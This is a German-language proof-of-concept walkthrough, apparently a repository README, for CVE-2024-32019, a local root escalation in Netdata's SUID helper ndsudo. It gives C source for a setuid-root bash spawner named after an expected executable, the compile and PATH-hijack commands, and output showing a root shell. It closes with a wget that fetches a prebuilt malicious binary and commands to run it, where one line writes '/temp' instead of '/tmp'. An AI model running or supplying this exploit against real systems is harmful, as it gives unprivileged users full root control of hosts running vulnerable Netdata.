
Netdata ndsudo Workflow zur lokalen Privilegienausweitung und POC (CVE-2024-32019)
Netdata ndsudo lokale Privilegieneskalation – Workflow und POC (CVE-2024-32019)
[!TIP] Bitte lesen
Netdata ist ein Tool zur Überwachung von Anwendungen und Systemen. Es läuft auf Port 19999 und ist leicht zu finden:
test@test:~$ netstat -tuln
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 127.0.0.1:19999 0.0.0.0:* LISTEN
Diese Schwachstelle (CVE-2024-32019) betrifft die folgenden Versionen: >= v1.45.0, < v1.45.3, >= v1.44.0-60, < v1.45.0-169. Wir können eine Anfrage stellen, um die Version im Antwort-Header zu erfahren:
Der Exploit erfolgt durch die Ausnutzung eines PATH-Hijacking eines ihrer Plugins, ndsudo, das sich oft in /opt/netdata/usr/libexec/netdata/ befindet und SUID besitzt.
test@test:~$ find / -name ndsudo 2> /dev/null
/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo
Wir können sehen, was wir mit --help machen können:
$ /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo --help
ndsudo
(C) Netdata Inc.
A helper to allow Netdata run privileged commands.
--test
print the generated command that will be run, without running it.
--help
print this message.
The following commands are supported:
- Command : nvme-list
Executables: nvme
Parameters : list --output-format=json
- Command : nvme-smart-log
Executables: nvme
Parameters : smart-log {{device}} --output-format=json
- Command : megacli-disk-info
Executables: megacli MegaCli
Parameters : -LDPDInfo -aAll -NoLog
- Command : megacli-battery-info
Executables: megacli MegaCli
Parameters : -AdpBbuCmd -aAll -NoLog
- Command : arcconf-ld-info
Executables: arcconf
Parameters : GETCONFIG 1 LD
- Command : arcconf-pd-info
Executables: arcconf
Parameters : GETCONFIG 1 PD
The program searches for executables in the system path.
Variables given as {{variable}} are expected on the command line as:
--variable VALUE
VALUE can include space, A-Z, a-z, 0-9, _, -, /, and .
test@test:~$ /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo arcconf-ld-info
arcconf : not available in PATH.
Wie wir sehen können, enthält das Skript mehrere wählbare Befehle, die nach einer ausführbaren Datei suchen. Wir können dies ausnutzen, um unsere eigene ausführbare Datei zu erstellen, die wie eine der ausführbaren Dateien benannt ist, in einem Pfad, den wir zur PATH-Umgebungsvariable hinzufügen können.
Netdata verwendet C, folglich müssen wir unser Skript in C schreiben und kompilieren.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
setuid(0);
setgid(0);
execl("/bin/bash", "bash", "-p", NULL);
perror("execl");
return 1;
}
gcc arcconf.c -o arcconf
Dann fügen wir, wie zuvor besprochen, den Pfad des Skripts zum $PATH hinzu:
test@test:/tmp$ PATH=/tmp:$PATH
Schließlich führen wir einfach den Befehl aus, der auf unsere schädliche ausführbare Datei zeigt (arcconf-pd-info -> arcconf ), und er wird uns eine privilegierte Shell geben:
test@test:/tmp$ /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo arcconf-pd-info
root@editor:/tmp# whoami
root
Du kannst das bereits kompilierte schädliche C-Skript herunterladen, das dir eine Bash als Root liefert, wie im obigen Beispiel beschrieben:
wget https://github.com/juanbelin/CVE-2024-32019-POC/raw/refs/heads/main/arcconf
mv arcconf /tmp #If your target has Internet connectivity
scp ./arcconf test@test:/tmp/arcconf #If your target does not have Internet connectivity
PATH=:/temp:$PATH
/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo arcconf-ld-info #The ndsudo path may change